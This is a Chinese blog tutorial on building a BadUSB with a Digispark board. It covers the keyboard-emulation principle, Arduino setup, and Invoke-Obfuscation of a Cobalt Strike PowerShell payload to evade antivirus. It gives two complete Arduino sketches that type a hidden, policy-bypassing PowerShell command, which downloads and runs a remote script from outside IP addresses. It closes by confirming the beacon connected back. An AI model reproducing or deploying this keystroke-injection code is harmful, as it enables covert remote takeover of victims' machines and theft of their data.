badusb

​badusb介绍   

BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID(Human InterfaceDevice)设备通常指的就是键盘鼠标等与人交互的设备,用户插入BadUSB,就会自动执行预置在固件中的恶意代码。

BadUsb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法防御BadUSB的攻击。

badusb原理

主机是通过设备固件中的某些描述符来判断USB哪种设备的。这就意味着我们可以利用此漏洞将一些特殊的USB设备伪装成为其他任何设备,例如输入设备、网卡等等。

badusb

当插入USB设备后,主机驱动会向设备请求各种描述符来识别设备,为了把一个设备识别成HID类别,设备固件在定义描述符的时候必须遵守HID规约。

badusb

构成:

  • 普通U盘一般都是由闪存(FLASH)和主控(MCU)构成,主控主要负责控制数据读写任务分配,闪存的话一般有一部分用来存放u盘固件(无法直接读取),其它部分用来进行读写和存储。
  • BadUsb就是利用对u盘固件进行重新编程,将虚拟键盘输入转为协议约定的字节指令集成进固件中,让主机将usb识别为一块键盘,并执行事先编写好的虚拟键盘输入。

利用

CS马

badusb

使用Invoke-Obfuscation编码,简单做一下免杀:

进入Invoke-Obfuscation目录后,在PowerShell中执行命令

badusb

set scriptpath C:\Users\86153\Desktop\payload.ps1

encoding

badusb

6

badusb

out C:\Users\86153\Desktop\payload1.ps1

badusbbadusb

badusb环境

  • 安装Arduino IDE

https://downloads.arduino.cc/arduino-1.8.16-windows.zip

下载完成后解压,打开exe

badusb

点击文件->首选项

在附加开发版管理器网址处添加 http://digistump.com/package_digistump_index.json

badusb

在工具->开发板:"Arduino Leonardo"->开发板管理器

badusb

找到 digistump avr boards进行下载

badusb

之后再开发板处选择digispark(default-16.5mhz)

badusb

  • 安装驱动使用digistump drivers

链接:http://pan.baidu.com/s/1i4K10dn 密码:ilaf

如果是 64 位操作系统请选择 DPinst64.exe,否则选择 DPinst.exe.

badusbbadusb

至此环境配置结束

badusb制作

将代码贴至Arduino点击上传

#include "DigiKeyboard.h"
#define KEY_ESC     41
#define KEY_BACKSPACE 42
#define KEY_TAB     43
#define KEY_PRT_SCR 70
#define KEY_DELETE  76


void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.111.252/payload.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);

}

void loop() {

}

或者将打开powershell和执行命令分开(可以绕过一些拦截)

# include "DigiKeyboard.h"
# define KEY_ESC     41
# define KEY_BACKSPACE 42
# define KEY_TAB     43
# define KEY_PRT_SCR 70
# define KEY_DELETE  76

void setup() {

DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(750);
DigiKeyboard.print(F("powershell"))
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.print(F("IEX(New-Object Net.WebClient).DownloadString('http://123.207.101.205:8000/cs.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);

}
void loop() {
}

badusb

出现如下图,插上我们准备的badusb

badusb

直至出现thank you,此时我们的badusb就已经做好了

badusb

测试

插上badusb后发现我们的cs上线

badusb

badusb

 

 

参考

https://www.freebuf.com/articles/system/292358.html

https://www.cnblogs.com/qianxiao996/p/13574566.html

https://mp.weixin.qq.com/s/UROx1fJOmMVbmH_-UasFEQ

上一篇:例程5-交通灯


下一篇:按键精灵